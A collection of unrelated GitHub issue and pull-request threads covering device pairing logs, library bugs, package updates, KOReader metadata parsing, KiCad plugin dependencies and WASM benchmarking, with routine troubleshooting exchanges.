Xiaomi Door Sensor

Having some problems in getting deConz (and finally HomeAssistant) to recognise a new Xiaomi door
sensor.
In the deCONZ GUI, the sensor does show up with a gray banner. However, in the RestAPI there is no sensor entry created.
Attached an image with the cluster info. Relevant elements from the LOG are listed below.
Any suggestions?
Cheers,
Erik

18:18:15:018 MGTM_Lqi_req zdpSeq: 131 to 0x00212EFFFF01728F start index 0
18:18:15:114 ZDP status = 0x00 -> SUCCESS
18:18:15:114 void deCONZ::zmNode::setFetched(deCONZ::RequestId, bool) fetched item: 8, node: 0x0000
18:18:15:114 ZDP Mgmt_Lqi_rsp zdpSeq: 131 from 0x00212EFFFF01728F total: 1, startIndex: 0, listCount: 1
18:18:15:114     * neighbor: 0x00158D00017C5B22 (0x0CFB), LQI: 252, relation: 0x01 rxOnWHenIdle: 1
18:18:15:216 MAC Poll 0x02 0xC7A1
18:18:15:259 Node 0x00158D00017C5B22 is known by 1 neighbors, last seen 16 s
18:18:15:299 device announce 0x00158D0001C105A3 (0xC7A1) mac capabilities 0x80
18:18:15:299 set fast probe address to 0x00158D0001C105A3 (0xC7A1)
18:18:15:299 APS-DATA.indication from unknown node 0x00158D0001C105A3
18:18:15:299 ZDP status = 0x00 -> SUCCESS
18:18:15:299 ZDP device announce: 0x00158D0001C105A3, 0xC7A1, 0x80
18:18:15:299 CTRL restore cached node 0x00158d0001c105a3
18:18:15:301 void deCONZ::zmNode::setFetched(deCONZ::RequestId, bool) fetched item: 2, node: 0xC7A1
18:18:15:302 void deCONZ::zmNode::setFetched(deCONZ::RequestId, bool) fetched item: 1, node: 0xC7A1
18:18:15:302 new node - ext: 0x00158d0001c105a3, nwk: 0xC7A1
18:18:15:374 ZCL attribute report 0x00158D0001C105A3 for cluster 0x0000
18:18:15:374 Node data 0x00158d0001c105a3 profileId: 0x0104, clusterId: 0x0000
18:18:15:393 ZCL attribute report 0x00158D0001C105A3 for cluster 0x0000
18:18:15:394 Node data 0x00158d0001c105a3 profileId: 0x0104, clusterId: 0x0000
18:18:15:418 ZCL attribute report 0x00158D0001C105A3 for cluster 0x0000
18:18:15:418 Node data 0x00158d0001c105a3 profileId: 0x0104, clusterId: 0x0000
18:18:15:499 node with nwk address 0x0000 but different mac address already exist
18:18:15:738 Node 0x00158D0001C105A3 is known by 0 neighbors, last seen 0 s
18:18:16:218 Node 0x00158D00017C5B22 is known by 1 neighbors, last seen 17 s
18:18:16:349 [1] get node descriptor for 0x00158d0001c105a3
18:18:16:539 ZCL attribute report 0x00158D0001C105A3 for cluster 0x0006
18:18:16:539 Node data 0x00158d0001c105a3 profileId: 0x0104, clusterId: 0x0006
18:18:16:698 Node 0x00158D0001C105A3 is known by 0 neighbors, last seen 0 s
18:18:16:700 ZCL attribute report 0x00158D0001C105A3 for cluster 0x0006
18:18:16:700 Node data 0x00158d0001c105a3 profileId: 0x0104, clusterId: 0x0006
18:18:17:123 ZCL attribute report 0x00158D0001C105A3 for cluster 0x0006
18:18:17:123 Node data 0x00158d0001c105a3 profileId: 0x0104, clusterId: 0x0006
18:18:17:179 Node 0x00158D00017C5B22 is known by 1 neighbors, last seen 18 s
18:18:17:547 ZCL attribute report 0x00158D0001C105A3 for cluster 0x0006
18:18:17:547 Node data 0x00158d0001c105a3 profileId: 0x0104, clusterId: 0x0006
18:18:17:659 Node 0x00158D0001C105A3 is known by 0 neighbors, last seen 0 s
18:18:17:728 ZCL attribute report 0x00158D0001C105A3 for cluster 0x0006
18:18:17:728 Node data 0x00158d0001c105a3 profileId: 0x0104, clusterId: 0x0006
18:18:17:852 ZCL attribute report 0x00158D0001C105A3 for cluster 0x0006
18:18:17:853 Node data 0x00158d0001c105a3 profileId: 0x0104, clusterId: 0x0006
18:18:18:138 Node 0x00158D00017C5B22 is known by 1 neighbors, last seen 19 s
18:18:18:619 Node 0x00158D0001C105A3 is known by 0 neighbors, last seen 0 s
18:18:18:628 ZCL attribute report 0x00158D0001C105A3 for cluster 0x0006
18:18:18:629 Node data 0x00158d0001c105a3 profileId: 0x0104, clusterId: 0x0006
18:18:18:749 ZCL attribute report 0x00158D0001C105A3 for cluster 0x0006
18:18:18:749 Node data 0x00158d0001c105a3 profileId: 0x0104, clusterId: 0x0006

deCONZ hasn't yet read the Manufacturer Name and Model ID, so it doesn't know what sensor this is.  The Xiaomi devices are notoriously obnoxious when pairing.  Make sure to open the network from the web app (not from the GUI).  Keep the sensor awake by presssing/releasing the reset button (hole) regularly.  Try and read the attributes of the Basic cluster from the Cluster Info panel in the deCONZ GUI.

Seems to work! Now I'm getting from "api/../sensors":
{"1":{"config":{"on":true,"reachable":true},"ep":1,"etag":"c98644d28f70aef61a3c3121389645dd","manufacturername":"LUMI","modelid":"lumi.sensor_magnet","name":"OpenClose
1","state":{"lastupdated":"2018-02-16T22:43:54","open":false},"type":"ZHAOpenClose","uniqueid":"00:15:8d:00:01:c1:05:a3-01-0006"}}
And ... in HomeAssistant (thanks to the deConz platform), I now also see
appearing:
{
"friendly_name": "OpenClose 1",
"battery_level": null,
"device_class": "opening"
}
while, in its (HA's) Web GUI, I can see the state change ...
On 16 February 2018 at 23:28, Erik Baauw<EMAIL_ADDRESS>wrote:

deCONZ hasn't yet read the Manufacturer Name and Model ID, so it doesn't
know what sensor this is. The Xiaomi devices are notoriously obnoxious when
pairing. Make sure to open the network from the web app (not from the GUI).
Keep the sensor awake by presssing/releasing the reset button (hole)
regularly. Try and read the attributes of the Basic cluster from the
Cluster Info panel in the deCONZ GUI.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/ebaauw/homebridge-hue/issues/290#issuecomment-366376987,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AELVlZzwwIKmHBwAqL1AlkSzro0WeSF6ks5tVgEUgaJpZM4SIrqR
.


[BUG] unable to remove the jwt rule handle

Is there an existing issue for this?

[X] I have searched the existing issues

Current Behavior
If I set it before，I cant remove jwt rule handle

I  cant remove  jwt rule handle

Expected Behavior
It can be removed
Steps To Reproduce
No response
Environment
ShenYu version(shenyu-master):

Debug logs
No response
Anything else?
No response

Hello，Do you mean that no error will be reported when handler is removed?

yes ,but I am not sure that is reasonable

Hello，Do you mean that no error will be reported when handler is removed?

yes ,but I am not sure that is reasonable

Hello，Do you mean that no error will be reported when handler is removed?

Yes, because this is a required field, it will be treated as an incorrect data type after its input is deleted

yes ,but I am not sure that is reasonable

Hello，Do you mean that no error will be reported when handler is removed?

Yes, because this is a required field, it will be treated as an incorrect data type after its input is deleted

But the initial state is empty.  I mean if you didnt set it ,it is empty.  I think it is a  bit of a contradiction

Yes, because this is a required field, it will be treated as an incorrect data type after its input is deleted

But the initial state is empty. I mean if you didnt set it ,it is empty. I think it is a bit of a contradiction

OK，Thank for your suggest

Yes, because this is a required field, it will be treated as an incorrect data type after its input is deleted

But the initial state is empty. I mean if you didnt set it ,it is empty. I think it is a bit of a contradiction

OK，Thank for your suggest

Yes, because this is a required field, it will be treated as an incorrect data type after its input is deleted

But the initial state is empty. I mean if you didnt set it ,it is empty. I think it is a bit of a contradiction

OK，Thanks for your suggest

I'm going to optimize it.

In addition, this filed is a required ,is it  reasonable?


Use type: 'duration' for Duration valueIds

Ref. https://github.com/zwave-js/zwavejs2mqtt/issues/185

In addition we should consider https://github.com/zwave-js/zwavejs2mqtt/issues/185#issuecomment-758256815

In addition we should consider https://github.com/zwave-js/zwavejs2mqtt/issues/185#issuecomment-758256815

Keep Duration objects, but give library users a way to work with them (zwave-js/node-zwave-js#1348 as a first step)
Add a method to serialize them as either a timespan string like you proposed or the current object format
Add a method to deserialize them from a timespan string or the current object format. Trying to use an invalid combination will throw.
Devs can then decide whether they need to work with timespan strings, value+unit objects or the original Duration object.

Keep Duration objects, but give library users a way to work with them (zwave-js/node-zwave-js#1348 as a first step)
Add a method to serialize them as either a timespan string like you proposed or the current object format
Add a method to deserialize them from a timespan string or the current object format. Trying to use an invalid combination will throw.
Devs can then decide whether they need to work with timespan strings, value+unit objects or the original Duration object.


adguardhome: 0.107.0 - 0.107.3

Motivation for this change
Things done

Built on platform(s)

[X] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[X] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[X] Tested basic functionality of all binary files (usually in ./result/bin/)
22.05 Release Notes (or backporting 21.11 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module
[ ] (Release notes changes) Ran nixos/doc/manual/md-to-db.sh to update generated release notes

[X] Fits CONTRIBUTING.md.

Please always take the time to fill out the motivation, e.g. by linking to the changelog. It makes reviews more productive.
https://github.com/AdguardTeam/AdGuardHome/releases/tag/v0.107.3
https://github.com/AdguardTeam/AdGuardHome/releases/tag/v0.107.2
https://github.com/AdguardTeam/AdGuardHome/releases/tag/v0.107.1


Bulk Add using json file

When trying to bulk add using a json file, it looks like the events in the json file needs to all be in one line.
If my events.json has the format below:
[
{
"apple": "sauce"
},
{
"banana": "pudding"
},
{
"cherry": "pie"
}
]
running this command
keen events:add -c signup -f events.json
throws this error:
/usr/local/Cellar/ruby/2.4.1_1/lib/ruby/2.4.0/json/common.rb:156:in `parse': 409: unexpected token at '' (JSON::ParserError)
if I put everything in a single line like below, the bulk add works.
[{ "apple" : "sauce" }, { "banana" : "pudding" }, { "cherry" : "pie" }]
Is that intended ?

That's the way it works, yeah. It was originally designed to process files with this structure:
{ "a": "b" }
{ "a": "b" }
{ "a": "b" }

But it also supports the lines if they're surrounded by [].
The code update doesn't look difficult but not trivial either. Using a tool like jq or a node script commands might be a good workaround.

Thanks for the quick response.
I used jq to format my json file and write the output to another json file using this command.
cat events.json | jq . -c  > test.json
After that I run the command line:
keen events:add -c tests --file test.json
It worked. Problem Solved.


Add eventid customization

Problem
Creating a new event loaded from a ics file, within it is included a uid which I would like to be the event id. Initially, since I have the ability to assign a value to it, I thought it would actually assign it, but in reality once the event is created, the eventid is overwritten with a causal id.
Why implement it
Having a custom eventid and not auto-generated (as it currently is) allows me to perform checks on its existence and be able to determine consequent actions. For example, avoid duplicate events and rather modify it.
How I am currently solving
I am solving by creating a local database and then saving the events there, with the custom uid, but it would be nice to be able to manage it through the library itself.
N.B. In case this possibility already exists and I am doing something wrong, I withdraw my request and thank you for any tip.

This is key for 2 way sync I believe

Yes, in fact entering the event with an ics file was just the beginning of event synchronization development. Perhaps, however, regardless of synchronization actions, having control over the event id would also allow better management of device events.

Any update on this? If would be very useful because guid is generated on the server and in this pub it is read only attribute - you can provide existing but you cannot provide yours.

Afaik, this is a platform limitation, i.e. the operating system API itself does not allow for a custom eventId, sadly.
You could solve two-way sync by putting a custom id in the notes field. However, keep in mind that users would be able to go into their systems calendar and edit this notes field which could break sync.


Release v0.7.0

Update collector version and final merge for v0.7.0

Closed by https://github.com/f5devcentral/application-study-tool/pull/40


I find your code useful for me, how to reference it

I find your code useful for me, how to reference it

Hello,
sorry for the late response but our masters thesis was not published so far.
I adapted the README.md, you can now find the link to the thesis as well as the citation in it.


[ldd-msn_surface] command_dispatch_sclk

Add <command_dispatch_sclk> to msn_surface:Command_Execution.  Cardinality 0:1.  Definition:
Specifies the spacecraft clock time at which the command execution was started.
M20 nuance: The specific time is the time the data product generation command was sent by the RCE.

added, pull request forthcoming


Please add menlo

Please add the menlo font it's popular for programming.

Isn't this font shipped on Macs by default?

Yes.

but I delete it

and want to reinstall

thus I need

homebrew-fonts

I don't think Menlo is open source and I don't see a place we can download it or check the license on. It looks like we do have Meslo which is a modified alternative. If you deleted it and want to re-add it, it'd be much easier to just grab it from another Mac.

Agreed. Closing.
Also @jsergur, please don’t post a sentence broken down as posts.


feat(leaves): add placeholder and smart cursor blinking to text-input

Changes

Adds placeholder to text-input
Modifies cursor so as not to blink while typing
Adds a couple of standard keyboard shortcuts (e.g. CTRL + a to move to the beginning) to text-input
Updates README to account for Keydown updates

Video
https://github.com/leostera/minttea/assets/17602389/31dd08c3-31e1-4f99-a0b8-d9f01d3648d5

Thanks for the PR @lessp! ✨


Only syncing book metadata

I'm not sure what I'm doing wrong here, I've highlighted several sections of  a book and pointed the plugin at the folder with metadata.epub.lua for it, but instead of getting the highlights (which I can see in the lua file) I only get part of the description for the book synced into my notes. I can't attach the file but I've tried it on a couple books and had similar results. Any suggestions?

of the top of my head, it sounds like you might be using a different metadata sidecar setting. this is what i'm using, and maybe i've baked it in as a requirement when making this extension
see here for details on the setting i'm talking about:
https://github.com/koreader/koreader/pull/10074

Thanks for following up! I don't have the folder options displayed in that issue, maybe because I'm on a newer version. I did try and move the sidecars from with the books to ./docsettings since that seemed like the closest to your config and that didn't change anything. I'm on 2024-07 so maybe it's something in the format that changed? I can dump one of my metadata examples in as a comment if you'd like.

I do have that issue as well. First it wouldn't even sync at all but after moving everything to ./docsettings the book title, author, description and language would sync but as @ianepreston already described the bookmarks are not showing up.
-- ./docsettings/mnt/onboard/Books/Digital Minimalism_ Living Better With Less Technology - Cal Newport.sdr/metadata.epub.lua
return {
    ["annotations"] = {
        [1] = {
            ["chapter"] = "5: Don’t Click “Like”",
            ["datetime"] = "2024-08-27 18:16:32",
            ["drawer"] = "lighten",
            ["page"] = "/body/DocFragment[13]/body/div/h3[6]/text().0",
            ["pageno"] = 204,
            ["pos0"] = "/body/DocFragment[13]/body/div/h3[6]/text().0",
            ["pos1"] = "/body/DocFragment[13]/body/div/h3[6]/text().40",
            ["text"] = "PRACTICE: HOLD CONVERSATION OFFICE HOURS",
        },
        [2] = {
            ["chapter"] = "5: Don’t Click “Like”",
            ["datetime"] = "2024-08-27 18:17:03",
            ["drawer"] = "lighten",
            ["page"] = "/body/DocFragment[13]/body/div/p[93]/text()[2].11",
            ["pageno"] = 206,
            ["pos0"] = "/body/DocFragment[13]/body/div/p[93]/text()[2].11",
            ["pos1"] = "/body/DocFragment[13]/body/div/p[93]/text()[2].315",
            ["text"] = "Put aside set times on set days during which you’re always available for conversation. Depending on where you are during this period, these conversations might be exclusively on the phone or could also include in-person meetings. Once these office hours are set, promote them to the people you care about",
        },
    },
    ["cache_file_path"] = "./cache/cr3cache/Digital_Mini-Newport.epub.7bc4843f.1.cr3",
    ["config_panel_index"] = 2,
    ["copt_b_page_margin"] = 18,
    ["copt_block_rendering_mode"] = 3,
    ["copt_cjk_width_scaling"] = 100,
    ["copt_embedded_css"] = 1,
    ["copt_embedded_fonts"] = 1,
    ["copt_font_base_weight"] = 0,
    ["copt_font_gamma"] = 15,
    ["copt_font_hinting"] = 2,
    ["copt_font_kerning"] = 3,
    ["copt_font_size"] = 24,
    ["copt_h_page_margins"] = {
        [1] = 20,
        [2] = 20,
    },
    ["copt_line_spacing"] = 100,
    ["copt_nightmode_images"] = 1,
    ["copt_render_dpi"] = 96,
    ["copt_rotation_mode"] = 0,
    ["copt_smooth_scaling"] = 0,
    ["copt_status_line"] = 1,
    ["copt_sync_t_b_page_margins"] = 1,
    ["copt_t_page_margin"] = 18,
    ["copt_view_mode"] = 0,
    ["copt_visible_pages"] = 1,
    ["copt_word_expansion"] = 0,
    ["copt_word_spacing"] = {
        [1] = 95,
        [2] = 75,
    },
    ["cre_dom_version"] = 20240114,
    ["css"] = "./data/epub.css",
    ["doc_pages"] = 382,
    ["doc_path"] = "/mnt/onboard/Books/Digital Minimalism_ Living Better With Less Technology - Cal Newport.epub",
    ["doc_props"] = {
        ["authors"] = "Cal Newport",
        ["description"] = "
Learn how to switch off and find calm - from the New York Times bestselling author of A World Without Email 'Digital Minimalism is the Marie Kondo of technology' Evening Standard***** Do you find yourself endlessly scrolling through social media or the news while your anxiety rises? Are you feeling frazzled after a long day of endless video calls? In this timely book, professor Cal Newport shows us how to pair back digital distractions and live a more meaningful life with less technology. By following a 'digital declutter' process, you'll learn to: · Rethink your relationship with social media · Prioritize 'high bandwidth' conversations over low quality text chains · Rediscover the pleasures of the offline world Take back control from your devices and find calm amongst the chaos with Digital Minimalism.*****'An eloquent, powerful and enjoyably practical guide to cutting back on screen time' The Times'An urgent call to action for anyone serious about being in command of their own life' Ryan Holiday'What a timely and useful book' Naomi Alderman, author of The Power
",
        ["identifiers"] = "isbn:9780241341155\
google:S4NbDwAAQBAJ\
calibre:1\
uuid:058090e6-a4bf-4455-b315-f438c8597645\
9780525536543",
        ["keywords"] = "Self-Help\
Personal Growth\
Success\
Business & Economics\
Workplace Culture\
Technology & Engineering\
Social Aspects\
Happiness\
Self-Esteem\
Psychology\
Psychopathology\
Addiction\
Motivational & Inspirational\
Motivational\
Personal Success\
Computers\
Computerized Home & Entertainment\
Science\
Philosophy & Social Aspects\
Mobile & Wireless Communications",
        ["language"] = "en",
        ["title"] = "Digital Minimalism: Living Better With Less Technology",
    },
    ["floating_punctuation"] = 0,
    ["font_face"] = "Noto Serif",
    ["font_family_fonts"] = {},
    ["handmade_flows_edit_enabled"] = true,
    ["handmade_flows_enabled"] = false,
    ["handmade_toc_edit_enabled"] = true,
    ["handmade_toc_enabled"] = false,
    ["hide_nonlinear_flows"] = false,
    ["highlight_drawer"] = "lighten",
    ["hyph_force_algorithmic"] = false,
    ["hyph_soft_hyphens_only"] = false,
    ["hyph_trust_soft_hyphens"] = false,
    ["hyphenation"] = true,
    ["inverse_reading_order"] = false,
    ["last_xpointer"] = "/body/DocFragment[14]/body/div/p[39]/text()[1].0",
    ["page_overlap_style"] = "dim",
    ["partial_md5_checksum"] = "b3eefd8fbc8f77c592c4b40e7caac57c",
    ["partial_rerendering"] = true,
    ["percent_finished"] = 0.6020942408377,
    ["preferred_dictionaries"] = {},
    ["readermenu_tab_index"] = 1,
    ["show_overlap_enable"] = false,
    ["stats"] = {
        ["authors"] = "Cal Newport",
        ["highlights"] = 20,
        ["language"] = "en",
        ["notes"] = 0,
        ["pages"] = 382,
        ["performance_in_pages"] = {},
        ["series"] = "N/A",
        ["title"] = "Digital Minimalism: Living Better With Less Technology",
    },
    ["summary"] = {
        ["modified"] = "2024-08-27",
        ["status"] = "reading",
    },
    ["text_lang"] = "en-US",
    ["text_lang_embedded_langs"] = true,
    ["toc_ticks_ignored_levels"] = {},
}

That looks different, they've changed the structure slighty. The "bookmarks" key is now "annotations", and I don't see the "notes" key. Should be a minor thing to fix.
@Raukze do you have a "bookmarks_version" key in your metadata file? I've got one here that says 20200615. Perhaps I can have conditional code that checks for this key and parses differently depending on its value. That'll allow for some degree of backwards compatibility and detection of unsupported versions.

No there isn't any version in my file.

No there isn't any version in my file.

Damn. We have to target a specific version, and you probably can't downgrade your KOReader to be compatible since it won't read the metadata; and we won't be able to intelligently detect an incompatible metadata file.
Currently our known-good target version is 2024.03.1. I've edited our README to include that information.

Came across the same issue on a newer KOReader version.

@Raukze do you have a "bookmarks_version" key in your metadata file?

There's no bookmarks_version in the lua file, however I can see one cre_dom_version key there. Perhaps it's the same thing? Or even if it is not, can this be used to target newer versions?
["cre_dom_version"] = 20240114,

["cre_dom_version"] = 20240114,

The latest metadata file I have with my older version (2024.03.01) has this same key and value. It does not appear to discriminate the overall structure 😢.


Attribute "position" is illegal: position="file-start"

Hello, according to the documentation when trying to add raw text before <!doctype html> we should use attribute position="file-start. The following part is from the documentation:
"One more possible use of mj-raw is to add text at the beginning of the generated html, before the <!doctype html> line. For this you need to : - put the mj-raw inside the  tag, outside of mj-head and mj-body - add this attribute on this mj-raw : position="file-start"."
But when trying to use "position="file-start" in mj-raw tag like this it gives mistake: Attribute "position" is illegal:
This will be added at the beginning of the file

I was reading similar similar issue topic which was closed and seems that this issue was solved in that topic, but attribute "position" doesn't work:  Output raw text before <!doctype> #2146  -> https://github.com/mjmlio/mjml/issues/2146

If you're using the MJML app I'm not sure it's on latest version so that's why

Yes, I was using the MJML online editor. The installation of the latest version solved the problem. Thank you.


⚠ ClamAV has degraded performance

In f594409, ClamAV (https://spamassassin.apache.org/) experienced degraded performance:

HTTP code: 200
Response time: 76 ms

Resolved: ClamAV performance has improved in 0dcdb98 after 14 minutes.


Unhandled exception produced when importing occupancy type text file with duplicate values

When I attempted to import multiple occupancy type text files with duplicate values, the following unhandled exception is produced after attempting to import all the files.
Steps to reproduce:
1 - Have two occupancy type text files with duplicate values. This could be done by cloning one occupancy text file and renaming the other file. In my case, I used the attached files.
2 - I added both files to the Occupancy Type Import.
3 - I attempted to access the Occupancy Type Group editor. And the following exception is produced.

This is a bug in the occtype editor. I think that should fall under task 14.


simulator: add TiltCase and Main

ref https://github.com/pingcap/pd/issues/853

PTAL

LGTM. PTAL @Connor1996

please add the build command into the Makefile

seem it can't work now? @nolouch

@siddontang  it can work.


Plugin not detected latest Nightly

Since the last update of Kicad Nightly, the plugin is no longer detected by the software (the icon no longer appears although the plugin is present in the corresponding folder) but the other plugins seem to work (KiBuzzard)
I downloaded the latest "main" version
Application: KiCad PCB Editor (64-bit)

Version: (5.99.0-13263-g43c85771eb), release build

Libraries:
	wxWidgets 3.1.5
	libcurl/7.78.0-DEV Schannel zlib/1.2.11

Platform: Windows 10 (build 19043), 64-bit edition, 64 bit, Little endian, wxMSW

Build Info:
	Date: Nov 13 2021 00:01:08
	wxWidgets: 3.1.5 (wchar_t,wx containers)
	Boost: 1.76.0
	OCC: 7.5.0
	Curl: 7.78.0-DEV
	ngspice: 35
	Compiler: Visual C++ 1929 without C++ ABI

Build settings:
	KICAD_USE_OCC=ON
	KICAD_SPICE=ON

I just installed the latest nightly
Application: KiCad PCB Editor (64-bit)

Version: (5.99.0-13288-g9941a52e75), release build

Libraries:
	wxWidgets 3.1.5
	libcurl/7.78.0-DEV Schannel zlib/1.2.11

Platform: Windows 10 (build 19043), 64-bit edition, 64 bit, Little endian, wxMSW

Build Info:
	Date: Nov 14 2021 12:01:02
	wxWidgets: 3.1.5 (wchar_t,wx containers)
	Boost: 1.76.0
	OCC: 7.5.0
	Curl: 7.78.0-DEV
	ngspice: 35
	Compiler: Visual C++ 1929 without C++ ABI

Build settings:
	KICAD_USE_OCC=ON
	KICAD_SPICE=ON

It seems that python requests is no longer shipped with the latest nightly builds for some reason 😞
I'll try to make the plugin install it automatically and hope it works on all platforms.
I did that in prior versions with pandas which didn't work on OSX because that required the building of some c extensions ...
We'll see 😅

I fixed this issue with 44c86dcdaa6ee18349fa762936b6cb5907569efa but it kind of hacky to install dependencies this way.
Also I'm not sure if this works with OSX 🤔
@DanielO Maybe you can verify if this works as you pointed out the last time that it didn't for pandas but reuests is pure python as far as I know, so this could work on OSX as well ...

Blergh  :(
I downloaded kicad-unified-20211114-050659-f5fc9fa11f.dmg (the latest) and it has requests in it at /Applications/KiCad/KiCad.app/Contents/Frameworks/Python.framework/Versions/3.8/lib/python3.8/site-packages/requests
(I also checked and the plugin works)
It seems very odd Windows wouldn't ship with it when OSX does - perhaps it was an oversight, I think it would be worth filing a bug about it.

Thanks @DanielO for again helping out with OSX testing 😃
I guess you're right!
Interestingly there is a version of request installed, but as a pip sub module:
C:\Program Files\KiCad\5.99\bin\Lib\site-packages\pip\_vendor\requests and I'm not able to import that one.
I also just verified with a version from october and indeed back then was a version of requests packaged!
C:\Program Files\KiCad\5.99\bin\Lib\site-packages\requests

I think it would be definitely worth raising it as an issue with the KiCAD team, obviously the exact mix of packages is dependent on what KiCAD needs but it does seem like a strange thing that it's on the OSX build but not the Windows one.

I've already done that!
https://gitlab.com/kicad/code/kicad/-/issues/9644

Just verified that this is fixed in the latest nightly build kicad-msvc.r25153.2340f82091


fix(getTableConstraints): adapt for ob 4.2.1 oracle feat:system-generated constraint names will not be displayed in table ddl

What type of PR is this?
type-bug
module-Database Object
What this PR does / why we need it:
ob 4.2.1 oracle new feature: system-generated constraint names will not be displayed in table ddl.

The OBOracleGetDBTableByParser#listConstraints method relies on the constraint name in the table's ddl. After ob 4.2.1, the name of each constraint cannot be obtained from the table ddl. In this case, the constraint information can only be obtained by querying the internal table as before. Therefore, time-consuming optimization cannot be done here with column constraints.

Remove OBOracleGetDBTableByParser#listIndexes method's dependence on virtual table. Compared with the previous sql, the sql for obtaining the index in this pr can still optimize the time consumption：

fix OBOracleGetDBTableByParser#removeIdentifiers method may cause npe.

Optimize the issue of the accessor.getTableOptions() method being called repeatedly in OBOracleTableExtension#getDetail and OBOracleTableExtension#getTableDDL

Which issue(s) this PR fixes:

Fixes #519
Fixes #523
Special notes for your reviewer:

Additional documentation e.g., usage docs, etc.:

the title of this pr is not so good~~

the title of this pr is not so good~`

+1, may remove some word @PeachThinking

the title of this pr is not so good~`

+1, may remove some word @PeachThinking

done～


Refactor IDA fill_function for type searching in Stack Vars

remove fill_structs with a single fill_struct, for the needed type

Not sure if I'm understanding correctly, but all struc_t (not tinfo_t) have xrefs that connect everything together. This is that xref_blk_t stuff. You can use it with anything that's an id, so if your struct member references another struct that the user created you can follow those into and from each frame (if you're not tracking each vdloc_t directly from hexrays anyways).
I think you're referring to tinfo_t, though, and not struc_t. Since there isn't an index for local types you're left extracting it (you can extract the ordinals by processing them or ripping it from their serialized forms), or maintaining the index of them yourself (which you'd likely do with a combination of tracking ordinals and hooks to sync modifications). Maybe this is excessive, though.
To differentiate typeinfo in frames made by the user and typeinfo in structures made by the user, you'll want to be fiddling around with idaapi.get_aflags (AFL_USERTI) for structure member ids and NSUP_TYPEINFO which seems to be able to distinguish typeinfo applied to frame member ids. Technically everything has typeinfo, but AFL_USERTI differentiates between types the user has explicitly added/modified from types that were imported from a library. That way when you traverse you only get the relevant tinfo_t. Hope this helps anyways. :-/

@arizvisa Yup this is useful information. I was planning on somehow incorporating the Xrefs from IDA, but I'm less happy to use it because that would make this struct lookup decompiler specific. Ideally, we should be able to do this on the BinSync level and not the IDA level.

closed by #170


Update grid system (sass)

essentials.css grid system is made with flex box. Needs update. file: 'src/_grid.sass'

@svichas Can you explain a little more about what to do?
thanks.

Nothing specific. just make essentials.css grid system a little better. more responsive, maybe remove flex etc.

I would like to help on this

@svichas I'm made your grid little better
#3


window.onscroll method not firing in js.

Hello, I wanted to shrink the navbar on scroll by using js function
window.onscroll = function () {
console.log("onscroll");
scrollFunction(); //handling navbar height according to scroll value from top using document.body.scrollTop()
};
but it never gets triggered. is it because of page-wrapper? i dont get any error. Can you help me with this?

This is a good question and you are on the right track. Halfmoon uses a page wrapper for the different sections and a content wrapper for the content. What you are actually scrolling is the content wrapper. So the following is a possible fix:

        ...

Ok thank you for the quick response. Its working as expected now.


Makefile does not install pkg-config file for libaddress_sorting

See https://github.com/grpc/grpc/issues/15166.

I created a little test that links things statically, you may need to adapt it to your needs. The attached tarball has a simple Makefile, and a Dockerfile to reproduce all the build steps.
There is some good news (maybe), the libgrpc++.a library seems to include the contents of the libaddress_sorting.a library. If that was intentional, then you would not need to add libaddress_sorting to any pkg-config files.
Do not hesitate to contact me if you have more questions (I am a Googler btw, so you should be able to find me inside Google too).


Add simple wasm performance test.

Signed-off-by: John Plevyak<EMAIL_ADDRESS>Optimized results:
Benchmark                                                                Time             CPU       Iterations
BM_WasmSimpleCallSpeedTest/V8SpeedTest           273 ns          273 ns       2591211
BM_WasmSimpleCallSpeedTest/WavmSpeedTest     221 ns           221 ns      3144155
BM_WasmSimpleCallSpeedTest/NullSpeedTest         107 ns          107 ns       6260650
Net: the cost of calls into and out of the VMs are very small.     WAVM is faster than V8.

Based on some investigation on WAVM's invoke-bench, I think catchRuntimeExceptions is probably slower than invokeFunctionUnchecked in your benchmark. It calls unwindSignalsAsExceptions, which calls Platform::catchSignals, which was quite slow: I've just made a commit that makes it 10x faster.
FYI you're using a version of the WAVM API from before a change I made recently to merge invokeFunctionChecked and invokeFunctionUnchecked.
The unified invokeFunction is slightly slower than invokeFunctionUnchecked, mostly because it calls unwindSignalsAsExceptions to ensure that if you have any C++ objects on the stack between the invokeFunction and catchRuntimeExceptions, that their destructor will be called. The combined overhead of catchRuntimeExceptions and invokeFunction should be much lower with my catchSignals optimization, though.

I tried to update our WAVM implementation, but the new version is aborting and/or corrupting memory.  In particular I can build a test case where  std::to_string(7) returns "3454" (or some other bogus result).  I changed the code to use char buf[16]; sprintf(buf, "%d", 7); and it also gets corrupted.  This doesn't happen in V8 and it doesn't happen in the older version of WAVM.
If you  are curious: https://github.com/jplevyak/envoy-wasm/pull/new/wasm-wavmupgrade
The test //test/extensions/wasm:wasm_test fails.
Any suggestions on how to debug would be appreciated.
@AndrewScheidecker

I tried to update our WAVM implementation, but the new version is aborting and/or corrupting memory. In particular I can build a test case where std::to_string(7) returns "3454" (or some other bogus result). I changed the code to use char buf[16]; sprintf(buf, "%d", 7); and it also gets corrupted. This doesn't happen in V8 and it doesn't happen in the older version of WAVM.

To be clear, this is for std::to_string/sprintf in some WASM code hosted by Envoy/WAVM?
Can you reproduce it with a WASM file that works with plain WAVM?
Does it still happen if you use the WAVM commit immediately before this one? https://github.com/WAVM/WAVM/commit/b9d2a112cfd8e9404285dd13f4f1849539bcb5f3

Problem solved.  I was not initializing the heap pointer correctly for emscripten.

@PiotrSikora ready for review.

@jplevyak could you merge with master and re-run tests to get accurate numbers as of now?

Upgraded the version of protobuf which was used with speed_cpp.wasm.


Pass parameters to configure timeout and retries in client

In the below examples, is there a way we can pass parameters while building the client to set the max timeout or max retries?
const SmartyStreetsSDK = require("smartystreets-javascript-sdk");
const SmartyStreetsCore = SmartyStreetsSDK.core;
const Lookup = SmartyStreetsSDK.usAutocompletePro.Lookup;

// US Autocomplete Pro only supports using Website Keys
